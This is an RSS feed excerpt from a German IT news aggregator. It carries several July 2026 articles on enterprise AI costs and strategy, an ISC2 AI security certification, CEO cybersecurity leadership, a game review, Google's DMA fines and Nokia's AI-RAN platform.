<p class="wp-block-paragraph">We also need to encourage cultures that praise outputs that actually achieve efficiency. AI applications that result in shipping faster, reducing rework and cutting review cycles are gains that should be celebrated. If your company hosts leaderboards, frame unnecessary token burn as wasteful rather than valuable. The organizations creating healthier consumption habits work with their engineers to understand not just how to use AI, but what responsible use looks like and what it costs.</p>



<p class="wp-block-paragraph">This is a conversation teams need to have now. Anthropic <a href="https://support.claude.com/en/articles/15036540-use-the-claude-agent-sdk-with-your-claude-plan">just ended flat-rate pricing</a> for programmatic workloads from June 15. Now, agents, continuous integration pipelines and automated workflows draw from a dedicated monthly credit pool billed separately from the subscription. Once that pool is exhausted, agent tasks either stop entirely or overflow to extra billing. Work can either get very expensive or grind to a halt for teams that aren’t prepared.</p>



<p class="wp-block-paragraph">Getting a grip on shadow tokens means better rules and tools connecting spend to outcomes. Only by building the financial and cultural infrastructure that encourages sustainable adoption can leaders see what they’re spending, connect it to what they’re getting and course-correct before the costs become a crisis. Ultimately, shadow tokens are only invisible if we choose not to look.</p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.cio.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Why I changed how I pitch AI: It’s no longer about saving money, but managing tokens and adoption]]></title>
<description><![CDATA[I have worked alongside enterprise technology for more than 30 years and watched AI evolve from a lab experiment into the modern boardroom’s core focus. However, the last few years of implementing AI alongside our customers have delivered our most profound reality checks.



The initial hype has ...]]></description>
<link>https://tsecurity.de/de/3691324/it-nachrichten/why-i-changed-how-i-pitch-ai-its-no-longer-about-saving-money-but-managing-tokens-and-adoption/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3691324/it-nachrichten/why-i-changed-how-i-pitch-ai-its-no-longer-about-saving-money-but-managing-tokens-and-adoption/</guid>
<pubDate>Fri, 24 Jul 2026 13:04:13 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">I have worked alongside enterprise technology for more than 30 years and watched AI evolve from a lab experiment into the modern boardroom’s core focus. However, the last few years of implementing AI alongside our customers have delivered our most profound reality checks.</p>



<p class="wp-block-paragraph">The initial hype has faded, leaving CIOs to drive real enterprise value. Based on my experience implementing Google, OpenAI and Anthropic technologies, here are the fundamental, technology-agnostic lessons every leader must anchor their strategy around.</p>



<h2 class="wp-block-heading"><a></a>AI as a leadership multiplier</h2>



<p class="wp-block-paragraph">The most common tactical error we see is treating AI as an isolated technology project. What I have observed among our customers is that true success does not come from organizations that define a standalone “AI strategy,” but rather from those leaders that integrate AI into their business strategy.</p>



<p class="wp-block-paragraph">When our customers isolate AI and define an AI strategy, it inevitably treats it like a “technological toy” to experiment with. This approach yields fragmented, orphaned initiatives that fail to scale because they are fundamentally disconnected from their core corporate objectives. What I learned is that AI is not the ultimate destination; it is a powerful catalyst. We have replaced “What can AI do for our customers?” with a more strategic question, “How does AI accelerate their existing business goals?”</p>



<p class="wp-block-paragraph">Think of AI like electricity. No modern corporation designs a standalone “electricity strategy.” Instead, all companies route it invisibly across the entire organization to illuminate offices, power production lines and drive communication. AI must be woven into the enterprise fabric in the exact same way, acting as an underlying utility that supercharges your existing operational model.</p>



<p class="wp-block-paragraph">Integrating AI into the broader business strategy also dictates how we measure success. It forces a shift away from short-term tech vanity metrics and anchors the technology into a long-term roadmap.</p>



<p class="wp-block-paragraph">When AI remains trapped within the IT department of our customers, we notice that it is relegated to a mere “software experiment.” To become a true competitive advantage, we observed that AI requires intense cross-functional orchestration. This perspective does not diminish the merit of the technical team; their expertise is fundamental for establishing the architecture, data governance and tools your enterprise requires. However, while IT builds the foundational infrastructure, it lacks the organizational authority to decide what should be built on top of it. Only the CEO or the owner of the company can step in to ensure AI leaves the “toy project” phase and integrates into the DNA of the organization.</p>



<p class="wp-block-paragraph">The requirement for top-down, executive ownership stems from three critical realities observed in the field:</p>



<ul class="wp-block-list">
<li><strong>Silo-smashing and data collaboration:</strong> True enterprise AI is data-hungry and that data lives across disparate business lines, finance, operations, marketing and customer service. Only the CEO possesses the cross-functional authority to demand that data silos be dismantled.</li>



<li><strong>Cultural transformation and fear mitigation:</strong> AI triggers widespread anxiety over job displacement across all industries and hierarchies. When relegated to an “IT project,” resistance spikes as teams view it as a threat to their livelihoods. When I saw the CEO lead this cultural shift directly is when I noticed the best results.</li>



<li><strong>C-Suite education and strategic alignment:</strong> The mandate for AI capability cannot just be delegated downward; the transformation must begin at the very top. I have conducted more than 70 presentations for the Board of Directors and C-Level teams. These people need to be actively educated not on technical code, but on specific business use cases, return on investment (ROI) frameworks and how AI resolves core organizational bottlenecks.</li>
</ul>



<p class="wp-block-paragraph"><a href="https://www.pwc.com/gx/en/issues/c-suite-insights/ceo-survey.html">PwC’s data found that only 12% of enterprises have achieved both cost and revenue benefits from AI</a>. Those elite 12% succeeded precisely because their CEOs embedded AI extensively across <em>strategic decision-making and cross-functional workflows</em>. AI is simply too disruptive and too critical to be left exclusively in the hands of technical experts. If AI is not on the CEO’s weekly agenda, it is fundamentally missing from the company’s true strategy.</p>



<h2 class="wp-block-heading"><a></a>AI as a new operational framework</h2>



<p class="wp-block-paragraph">Traditional IT systems have operated on strict algorithmic certainty: if you input a specific set of data, the system executes an immutable line of code and guarantees the same, predictable output every single time.</p>



<p class="wp-block-paragraph">AI completely breaks this paradigm. Because modern AI is built on probabilistic models, it does not execute static formulas; instead, it predicts the most likely correct response based on mathematical probabilities. This means that AI solutions carry an inherent, small percentage of uncertainty and variability. A prompt entered today might yield a slightly different, though contextually valid, output tomorrow.</p>



<p class="wp-block-paragraph">Executive leadership and organizational cultures must be actively educated to accept and navigate this fundamental shift. Traditional quality assurance frameworks for software are designed for a 100% success rate. Applying this rigid standard to AI will paralyze your initiatives, keeping 80% of your projects trapped eternally in the pilot phase. This happened to us in a food and beverage company in Latin America a couple of years ago. After this experience, we started to include conditions in our contracts that tolerate statistical margins of error and still define the project as a success.</p>



<p class="wp-block-paragraph">In terms of cost calculation, we had to teach CIOs and business managers to forget the monthly subscription model for AI and learn to manage the primary unit of exchange in modern AI: the token.</p>



<p class="wp-block-paragraph">To understand AI costs, executives must understand how large language models process data. AI models do not read full words; instead, they break text, images or code down into “pieces” called tokens. As a baseline, every 100 words process as approximately 130 to 140 tokens. Because the major AI providers use the token as their currency, <a href="https://arxiv.org/pdf/2604.22750">your business is billed dynamically based on the exact volume of tokens consumed</a> by every query submitted (input) and every response generated (output).</p>



<p class="wp-block-paragraph">Many leaders believe AI costs are fixed due to flat-rate enterprise tiers ($25–$30/user). This is a temporary illusion. These venture-capital-subsidized rates mask true operational costs and come with dynamic usage limits. Modeling long-term ROI on them guarantees a severe budget shock when true consumption pricing takes over.</p>



<p class="wp-block-paragraph">The solution is not to halt AI adoption; doing so means losing your competitive edge. Instead, the cost per token must cease to be treated as a technical footnote relegated to the IT department. It must be elevated to a core business variable.</p>



<h2 class="wp-block-heading">Risks in the AI adoption model</h2>



<p class="wp-block-paragraph">Since the beginning of the AI boom, I have seen all our customers making a critical tactical error that could cost them heavily in the medium term: they are focusing only on operational efficiency (reducing costs with AI).</p>



<p class="wp-block-paragraph">I have observed that an alarmingly high percentage of companies remain trapped in pilot phases focused exclusively on short-term cost reduction. <a href="https://www.bain.com/insights/your-ai-budget-is-growing-your-returns-arent-heres-why/">Bain &amp; Company’s global Automation and AI Pathfinder Survey </a>found that the largest share of companies measuring their AI initiatives (exactly 40%) realized cost reductions of 10% or less, heavily missing their internal targets. Our customers are putting too many resources and effort into marginal financial gains and in doing so, they are jeopardizing their most valuable assets: service quality, resilience and customer trust.</p>



<p class="wp-block-paragraph">Utilizing AI solely to slash headcount or cut operational corners is a dangerous trap that introduces severe field liabilities. A financial service organization in Latin America announced that they saved $1 million in customer support by replacing humans with AI chatbots. However, the mid-term reality revealed a different story: a damaged brand reputation due to AI errors and an influx of frustrated clients fleeing because the automated system cannot handle special cases.</p>



<p class="wp-block-paragraph">Putting a company on an extreme AI diet might make it look leaner on next quarter’s financial statement, but over-indexing on cost-cutting will ultimately leave the business too weak to compete when market dynamics shift. We are now inviting our customers to change the question from <em>“How much money will AI save us?”</em> to <em>“How will we leverage AI to exponentially increase the long-term value of our enterprise?”</em></p>



<p class="wp-block-paragraph">Deploying enterprise AI is a marathon, not a sprint, and the terrain changes with every mile. The organizations that thrive in this next era will be those that transition from fascination to discipline, treating AI not as a magic bullet for immediate savings, but as a core capability that demands rigorous governance, architectural foresight and cultural maturity. Navigating this shift requires moving past the theoretical hype and anchoring decisions in raw, field-tested reality.</p>



<p class="wp-block-paragraph">As we continue to deploy these technologies across industries, the blueprint for success is being rewritten in real time. Let’s keep this conversation going as we map out the future of business intelligence together.</p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.cio.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[ISC2 seeks input from IT pros for AI security certification]]></title>
<description><![CDATA[ISC2 has begun developing a vendor-neutral AI security certification aimed at cybersecurity professionals working to secure AI systems and manage emerging AI risks.



The nonprofit organization, best known for the CISSP certification, says it is seeking volunteers worldwide to help define the kn...]]></description>
<link>https://tsecurity.de/de/3691227/it-security-nachrichten/isc2-seeks-input-from-it-pros-for-ai-security-certification/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3691227/it-security-nachrichten/isc2-seeks-input-from-it-pros-for-ai-security-certification/</guid>
<pubDate>Fri, 24 Jul 2026 12:09:03 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph"><a href="https://www.isc2.org/" target="_blank" rel="noreferrer noopener">ISC2</a> has begun developing a <a href="https://www.isc2.org/new-ai-certification#AI%20Security%20Certification%20Frequently%20Asked%20Questions" target="_blank" rel="noreferrer noopener">vendor-neutral AI security certification</a> aimed at cybersecurity professionals working to secure AI systems and manage emerging AI risks.</p>



<p class="wp-block-paragraph">The nonprofit organization, best known for the <a href="https://www.isc2.org/certifications/cissp" target="_blank" rel="noreferrer noopener">CISSP certification</a>, says it is seeking volunteers worldwide to help define the knowledge and <a href="https://www.networkworld.com/article/3566827/global-cybersecurity-talent-gap-widens.html" target="_blank">skills</a> that will shape the new credential. While ISC2 has not finalized the certification domains, the <a href="https://www.prnewswire.com/news-releases/isc2-begins-developing-its-ai-security-certification-and-opens-call-for-volunteers-worldwide-302825622.html?tc=eml_cleartime" target="_blank" rel="noreferrer noopener">certification</a> is expected to address both technical AI security and governance topics, with a pilot exam planned before the end of 2026.</p>



<p class="wp-block-paragraph">According to <a href="https://www.linkedin.com/in/caseymarks/">Casey Marks</a>, ISC2 chief operating officer, feedback from cybersecurity practitioners led ISC2 to conclude that AI security had grown beyond expanding AI content within existing certifications.</p>



<p class="wp-block-paragraph">“AI has reached a tipping point,” Marks says. “AI no longer is just another tool; instead, it has fundamentally changed the cybersecurity practice itself.”</p>



<p class="wp-block-paragraph">ISC2 already includes <a href="https://www.networkworld.com/article/4196919/isc2-ai-raises-accountability-demands-for-cybersecurity-teams.html" target="_blank">AI-related content in certifications</a> including CISSP and <a href="https://www.isc2.org/certifications/CCSP" target="_blank" rel="noreferrer noopener">CCSP</a>, but Marks says practitioners have identified new responsibilities and risks that extend beyond those programs. “Enterprise security teams are currently grappling with significant knowledge gaps, particularly around securing model architectures against new vulnerabilities like prompt injection, data poisoning, and model inversion,” Marks adds.</p>



<p class="wp-block-paragraph">Organizations are working to understand emerging governance frameworks, including the NIST AI Risk Management Framework and ISO/IEC 42001, while adapting traditional application security and security operations workflows to AI systems, he says.</p>



<p class="wp-block-paragraph">ISC2 has not finalized the certification domains, but Marks says the organization expects the credential to address both technical controls and governance practices for <a href="https://www.networkworld.com/article/4174188/ai-reshapes-cybersecurity-workforce-priorities-as-it-teams-brace-for-new-risks.html" target="_blank">securing AI systems and managing AI risk</a>. The certification will use ISC2’s established certification development process, which relies on cybersecurity practitioners to define job roles, develop exam content, and validate competencies.</p>



<p class="wp-block-paragraph">Marks says ISC2 will continue to update the certification through ongoing input from cybersecurity professionals, in addition to its regular certification review process.</p>



<p class="wp-block-paragraph">The organization is also determining which professionals the certification will target. Marks says AI security responsibilities are emerging across security architecture, risk management, security operations, software development security, governance and compliance, communication and network security, and security assessment and testing. ISC2 says the certification will reflect how those roles are evolving.</p>



<p class="wp-block-paragraph">For organizations that are building AI security programs now, Marks recommends using existing AI training resources, adopting established governance frameworks, creating cross-functional AI security working groups, and participating in the certification development process.</p>



<p class="wp-block-paragraph">Marks says ISC2 expects AI knowledge to become part of most cybersecurity roles while a more specialized AI security discipline continues to develop. He says organizations will increasingly need professionals with foundational AI security knowledge, as well as specialists in areas such as adversarial machine learning, model architectures, and AI data pipelines.</p>



<p class="wp-block-paragraph">Looking ahead, Marks says he expects AI security expertise to evolve into both a foundational skill for cybersecurity professionals and a specialized discipline of its own.</p>



<p class="wp-block-paragraph">“At this time, we are seeing a hybrid evolution occurring in real time: AI security is simultaneously becoming a baseline expectation for all security roles, while also carving out a dedicated, highly specialized discipline,” Marks says.</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[3 cybersecurity issues that should keep every CEO awake at night]]></title>
<description><![CDATA[For years, I have been saying that cybersecurity is no longer a technology problem. It has become a business leadership challenge.



Yet, despite record levels of spending, ever-growing security teams, increasingly sophisticated technologies and a constant stream of new regulations, organization...]]></description>
<link>https://tsecurity.de/de/3691226/it-security-nachrichten/3-cybersecurity-issues-that-should-keep-every-ceo-awake-at-night/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3691226/it-security-nachrichten/3-cybersecurity-issues-that-should-keep-every-ceo-awake-at-night/</guid>
<pubDate>Fri, 24 Jul 2026 12:09:02 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">For years, I have been saying that cybersecurity is no longer a technology problem. It has become a business leadership challenge.</p>



<p class="wp-block-paragraph">Yet, despite record levels of spending, ever-growing security teams, increasingly sophisticated technologies and a constant stream of new regulations, organizations continue to suffer major cyber incidents with alarming regularity. Every week seems to bring news of another ransomware attack, supply chain compromise or data breach affecting organizations that many would have assumed were well protected.</p>



<p class="wp-block-paragraph">The obvious conclusion is that we are asking the wrong questions.</p>



<p class="wp-block-paragraph">Too many executive teams remain preoccupied with the latest threat actor, the newest security product the CISO wants to buy or the latest vulnerability making headlines. Those issues matter, but they are not what should be keeping CEOs awake at night.</p>



<p class="wp-block-paragraph">In my view, there are three far more fundamental issues that deserve the attention of every chief executive.</p>



<h2 class="wp-block-heading">1. Corporate complexity, and the widening gap between business leadership and cybersecurity reality</h2>



<p class="wp-block-paragraph">Perhaps the biggest cybersecurity risk facing large organizations today is not technical at all.</p>



<p class="wp-block-paragraph">It is the growing disconnect between executive perception and operational reality.</p>



<p class="wp-block-paragraph">Many boards genuinely believe their organizations are reasonably well protected. They receive regular dashboards showing improving maturity scores, increasing compliance levels, falling vulnerability counts and reassuring traffic-light reports.</p>



<p class="wp-block-paragraph">Unfortunately, cyber attackers do not read dashboards.</p>



<p class="wp-block-paragraph">Behind those executive reports often lies an increasingly complex technology landscape, thousands of unmanaged digital assets, ageing infrastructure, rampant shadow IT, fragmented ownership, inconsistent governance and security teams struggling to keep pace with relentless business change.</p>



<p class="wp-block-paragraph">The problem is rarely a lack of effort.</p>



<p class="wp-block-paragraph">It is that corporate complexity has reached a level where traditional governance mechanisms are no longer capable of providing an accurate picture of organizational resilience.</p>



<p class="wp-block-paragraph">Executives believe they understand the level of cyber risk they face because they receive regular reports. Those reports often measure activity rather than resilience.</p>



<p class="wp-block-paragraph">Governance committees end up debating around another percentage point of phishing awareness or vulnerability remediation, while fundamental issues remain unaddressed in the background.</p>



<h2 class="wp-block-heading">2. Organizational inertia, and the need for executive structure to evolve faster</h2>



<p class="wp-block-paragraph">Cyber criminals continue to evolve rapidly. Large organizations generally do not.</p>



<p class="wp-block-paragraph">This is the second issue that should concern every CEO.</p>



<p class="wp-block-paragraph">Throughout my career, I have observed organizations repeatedly responding to new cyber threats by adding another technology platform, another monitoring capability, another compliance framework or another governance committee.</p>



<p class="wp-block-paragraph">Very rarely do they stop to redesign how cybersecurity operates.</p>



<p class="wp-block-paragraph">The result is what I described several years ago as the “<a href="https://www.amazon.com/Cybersecurity-Spiral-Failure-How-Break/dp/1637353057/">Cybersecurity Spiral of Failure</a>”.</p>



<ul class="wp-block-list">
<li>As complexity and regulation increase, organizations invest in more security products.</li>



<li>More products create more complexity.</li>



<li>More products and greater complexity generate more alerts.</li>



<li>More alerts require more analysts.</li>



<li>More analysts produce more reports.</li>



<li>More reports continue to build up executive confidence.</li>



<li>Meanwhile, the underlying structural weaknesses remain largely unchanged, technical debt piles up and costs escalate.</li>
</ul>



<p class="wp-block-paragraph">And when the inevitable breach eventually happens, reality reveals itself, but distrust also sets in between senior executives and security teams.</p>



<p class="wp-block-paragraph">This is not a funding problem. Nor is it a skills problem. It is fundamentally an operating model problem.</p>



<p class="wp-block-paragraph">Many organizations continue trying to solve twenty-first century challenges using governance, accountability, organizational and reporting structures designed twenty-five years ago.</p>



<p class="wp-block-paragraph">The cybersecurity function itself has evolved dramatically. Many executive structures have not.</p>



<p class="wp-block-paragraph">This organizational inertia extends beyond technology: It affects budgeting cycles, <a href="https://www.cio.com/article/4193990/reallocating-cybersecurity-capital-in-the-mythos-era.html">investment priorities</a>, procurement processes, accountability models and decision-making speed.</p>



<p class="wp-block-paragraph">Cyber attackers innovate every day. Organizational change often takes years.</p>



<p class="wp-block-paragraph">That imbalance should worry every CEO.</p>



<h2 class="wp-block-heading">3. Accelerating technological disruption, and how it challenges organizations in areas where they are intrinsically weak</h2>



<p class="wp-block-paragraph">The third issue is potentially the most significant over the coming decade.</p>



<ul class="wp-block-list">
<li>Artificial intelligence, autonomous agents and machine identities</li>



<li>Software supply chain complexity.</li>



<li>Quantum computing, and post-quantum cryptography</li>
</ul>



<p class="wp-block-paragraph">Each of these developments represents far more than another technical trend.</p>



<p class="wp-block-paragraph">Together, they fundamentally change the dynamics of cybersecurity.</p>



<p class="wp-block-paragraph">Artificial intelligence is transforming countless business processes. At the same time, it is also increasing both the speed and sophistication of cyber-attacks while simultaneously transforming defensive capabilities.</p>



<p class="wp-block-paragraph">Organizations have become increasingly dependent on software ecosystems that extend far beyond their own direct control. Engaging with the supply chain in ways that lead to a genuine appreciation of the risks involved has become a key challenge for most cybersecurity practices.</p>



<p class="wp-block-paragraph">Quantum computing may eventually invalidate much of today’s cryptographic algorithms, forcing organizations into one of the largest technology efforts since Y2K — but without the benefit of a fixed deadline and faced by a problem that is considerably more complex and hyperconnected IT estates that have little to do with those of the late 90s.</p>



<p class="wp-block-paragraph">None of these challenges can be solved overnight: They require clear governance, sustained investment over a few years and cross-functional organizational coordination.</p>



<p class="wp-block-paragraph">Most large organizations are weak on those three fronts: This is precisely why CEOs should be focusing on them now.</p>



<p class="wp-block-paragraph">Waiting until some of those risks become obvious will almost certainly be too late.</p>



<p class="wp-block-paragraph">Businesses naturally prioritise immediate commercial pressures. Cybersecurity often involves preparing for risks whose timing remains uncertain.</p>



<p class="wp-block-paragraph">But one of the greatest leadership failures I keep seeing remains the inability of organizations to act decisively on known unknowns.</p>



<p class="wp-block-paragraph">That tension explains why many organizations delay action until external events force them to respond. Unfortunately, cybersecurity rarely rewards late action.</p>



<h2 class="wp-block-heading">Leadership will determine who succeeds</h2>



<p class="wp-block-paragraph">Cybersecurity discussions still frequently focus on technology. I believe they should focus far more on leadership.</p>



<p class="wp-block-paragraph">Technology will continue evolving. Threat actors will continue adapting. Regulations will continue expanding. Those developments are inevitable.</p>



<p class="wp-block-paragraph">What remains within the control of every CEO is how their organization responds.</p>



<p class="wp-block-paragraph">Does cybersecurity remain an IT issue? Or is it recognised as an integral part of business resilience?</p>



<p class="wp-block-paragraph">How is cybersecurity accountability assigned at executive level? Or does it still rest largely with a CISO hidden in the organization?</p>



<p class="wp-block-paragraph">Does the board spend sufficient time discussing resilience? Or does cybersecurity appear only when approving budgets or reviewing incidents?</p>



<p class="wp-block-paragraph">These questions will increasingly determine organizational success.</p>



<p class="wp-block-paragraph">The companies that navigate the next decade successfully will not necessarily be those spending the most on cybersecurity. Nor will they be those deploying the latest security technologies first.</p>



<p class="wp-block-paragraph">They will be the organizations whose leadership recognises that cybersecurity has become a permanent business capability — embedded into governance, strategy, operational decision-making and organizational culture.</p>



<p class="wp-block-paragraph">That transformation cannot be delegated. It begins with the CEO.</p>



<p class="wp-block-paragraph">And perhaps that is the single biggest issue that should keep every chief executive awake at night: Not when the next cyber-attack will happen, but whether their organization is evolving quickly enough on those matters to meet a threat landscape that is changing much faster than the business itself.</p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.cio.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Wreck Runners Review (PC)]]></title>
<description><![CDATA[Recently, a lot of extraction games have been releasing, with a unique twist on the genre. After battling all kinds of daemons and Lovecraftian creatures in The Mound, we now have Wreck Runners, which takes us to the Bermuda Triangle. It’s an interesting game that brings a very solid cooperative ...]]></description>
<link>https://tsecurity.de/de/3691126/it-security-nachrichten/wreck-runners-review-pc/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3691126/it-security-nachrichten/wreck-runners-review-pc/</guid>
<pubDate>Fri, 24 Jul 2026 11:32:22 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Recently, a lot of extraction games have been releasing, with a unique twist on the genre. After battling all kinds of daemons and Lovecraftian creatures in The Mound, we now have Wreck Runners, which takes us to the Bermuda Triangle. It’s an interesting game that brings a very solid cooperative foundation, and an immersive set of gameplay mechanics well beyond what you would normally expect in this genre.

Wreck Runners has a very simple story, as it takes place in the Bermuda triangle and players are employees for the Trustwell Corporation. The company is suspicious, but they are asking you to explore the nearby regions and acquire all kinds of loot. And naturally, as you do that, you will run into all kinds of supernatural enemies and creatures.

The game isn’t really focused on establishing a great story or anything. What’s there is functional enough to give us a backdrop, and honestly it does a decent job at it. Yes, it could have more information and content, b...]]></content:encoded>
</item>
<item>
<title><![CDATA[European Commission Fines Google €890 Million for DMA Breaches]]></title>
<description><![CDATA[Google fined €890 million by the European Commission for breaching the Digital Markets Act (DMA) over its practices on Google Search and Google Play. The Commission issued two separate fines of €460 million and €430 million, finding that Google had failed to comply with the DMA's rules on self-pr...]]></description>
<link>https://tsecurity.de/de/3691005/it-security-nachrichten/european-commission-fines-google-890-million-for-dma-breaches/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3691005/it-security-nachrichten/european-commission-fines-google-890-million-for-dma-breaches/</guid>
<pubDate>Fri, 24 Jul 2026 10:23:58 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><img width="1536" height="1024" src="https://thecyberexpress.com/wp-content/uploads/Google-Fined.webp" class="attachment-post-thumbnail size-post-thumbnail wp-post-image" alt="Google Fined" decoding="async" srcset="https://thecyberexpress.com/wp-content/uploads/Google-Fined.webp 1536w, https://thecyberexpress.com/wp-content/uploads/Google-Fined-300x200.webp 300w, https://thecyberexpress.com/wp-content/uploads/Google-Fined-1024x683.webp 1024w, https://thecyberexpress.com/wp-content/uploads/Google-Fined-768x512.webp 768w, https://thecyberexpress.com/wp-content/uploads/Google-Fined-600x400.webp 600w, https://thecyberexpress.com/wp-content/uploads/Google-Fined-150x100.webp 150w, https://thecyberexpress.com/wp-content/uploads/Google-Fined-750x500.webp 750w, https://thecyberexpress.com/wp-content/uploads/Google-Fined-1140x760.webp 1140w, https://thecyberexpress.com/wp-content/uploads/Google-Fined.webp 1536w, https://thecyberexpress.com/wp-content/uploads/Google-Fined-300x200.webp 300w, https://thecyberexpress.com/wp-content/uploads/Google-Fined-1024x683.webp 1024w, https://thecyberexpress.com/wp-content/uploads/Google-Fined-768x512.webp 768w, https://thecyberexpress.com/wp-content/uploads/Google-Fined-600x400.webp 600w, https://thecyberexpress.com/wp-content/uploads/Google-Fined-150x100.webp 150w, https://thecyberexpress.com/wp-content/uploads/Google-Fined-750x500.webp 750w, https://thecyberexpress.com/wp-content/uploads/Google-Fined-1140x760.webp 1140w" sizes="(max-width: 1536px) 100vw, 1536px" title="European Commission Fines Google €890 Million for DMA Breaches 1"></p><strong>Google fined €890 million</strong> by the <a href="https://thecyberexpress.com/?s=European+Commission" target="_blank" rel="noopener">European Commission</a> for breaching the Digital Markets Act (DMA) over its practices on <a href="https://thecyberexpress.com/google-chrome-bug-bounty-program-rewards/" target="_blank" rel="noopener">Google Search</a> and Google Play. The Commission issued two separate fines of €460 million and €430 million, finding that Google had failed to comply with the DMA's rules on self-preferencing and steering.

The decisions concern how Google ranks its own services in search results and how app developers can communicate alternative offers to users through Google Play.
<h3><strong>Google Fined Over Self-preferencing on Google Search</strong></h3>
The Commission found that Google <a href="https://ec.europa.eu/commission/presscorner/detail/en/ip_26_1670" target="_blank" rel="nofollow noopener">breached</a> the DMA by giving preferential treatment to its own services, including shopping, hotels, transport and sports results, compared with third-party services appearing in Google Search.

Under the DMA, designated gatekeepers are required to treat their own services and third-party services fairly and without discrimination in search rankings.

According to the Commission, Google gives its own services greater prominence by placing them at the top of search results or displaying them with enhanced visuals and filters. The Commission said similar third-party services do not receive the same level of prominence.

The Commission's decision requires Google to treat third-party services featured in its search results in a fair and non-discriminatory manner compared with its own services.

The Commission also noted that Google has proposed and started testing changes to the way it presents its own services on Google Search, including free services covering shopping, hotels and flights. The Commission said these changes represent substantial progress towards compliance and will be monitored.

Google has also proposed and started testing changes involving shopping ads and content-related services, including sports. The Commission is assessing these changes and will continue discussions with the company. The dialogue will also cover Google's proposals for applying the principles of the decision to AI Overviews and AI Mode.
<h3><strong>Google Play Restrictions Lead to Second Fine</strong></h3>
The second decision concerns Google's anti-steering practices on <a href="https://thecyberexpress.com/google-play-store-bug-bounty-program-end/" target="_blank" rel="noopener">Google Play</a>.

Under the DMA, app developers distributing apps through Google Play must be able to inform customers about alternative, often cheaper offers at no cost. Developers should also be able to direct users to make purchases through other channels, including websites and alternative app stores.

The Commission found that Google failed to meet these requirements. It said Google restricted app developers from freely communicating and promoting offers and from concluding contracts with users through distribution channels of their choice, including third-party app stores.

The Commission acknowledged that Google can charge a fee for facilitating the initial acquisition of a new customer by an app developer through Google Play. However, it found that the level of Google's steering-related fees and the length of time those fees were charged went beyond what is considered compliant with the DMA.

Google has since rolled out changes related to its steering terms. The Commission said these changes represent good progress towards compliance but will be assessed in light of the cease and desist order issued as part of the decision.
<h3><strong>Digital Markets Act Enforcement Brings Compliance Deadline</strong></h3>
As part of the two decisions, the Commission has ordered Google to end the identified non-compliance. The company must implement measures addressing both search rankings and its anti-steering rules.

Google is required to comply with the Commission's decisions within 60 days. If it fails to do so, it could face periodic penalty payments of up to 5% of its total worldwide turnover.

The fines take into account the gravity and duration of the non-compliance. The Commission said it also considered the recurrence of the breaches and concluded that the fines were proportionate and appropriate.

Google may appeal the decisions.
<h3><strong>Commission Investigations Began in 2024</strong></h3>
Google was designated as a gatekeeper in September 2023 for its online search engine, Google Search. On 25 March 2024, the Commission opened non-compliance investigations into Google's measures addressing self-preferencing and its steering rules.

On 19 March 2025, the Commission informed Google of its preliminary view that the company was in breach of the DMA. Google subsequently exercised its rights of defence by reviewing the documents in the Commission's investigation files and responding in writing to the preliminary findings.

The two decisions followed a detailed investigation that included feedback from market participants and extensive dialogue with Google.

The Commission said the decisions demonstrate its continued enforcement of the DMA and its focus on protecting fairness, business opportunities, consumer choice and innovation in digital markets.]]></content:encoded>
</item>
<item>
<title><![CDATA[Why enterprises should care about Nokia’s AI-RAN platform]]></title>
<description><![CDATA[Earlier this month, Nokia provided an AI-RAN platform update that brings an AI-native and programmable compute which is projected to double spectral efficiency by 2028. This increases speed, but more importantly, it can allow mobile operators to create some actual monetization beyond connectivity...]]></description>
<link>https://tsecurity.de/de/3690985/it-security-nachrichten/why-enterprises-should-care-about-nokias-ai-ran-platform/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3690985/it-security-nachrichten/why-enterprises-should-care-about-nokias-ai-ran-platform/</guid>
<pubDate>Fri, 24 Jul 2026 10:13:45 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



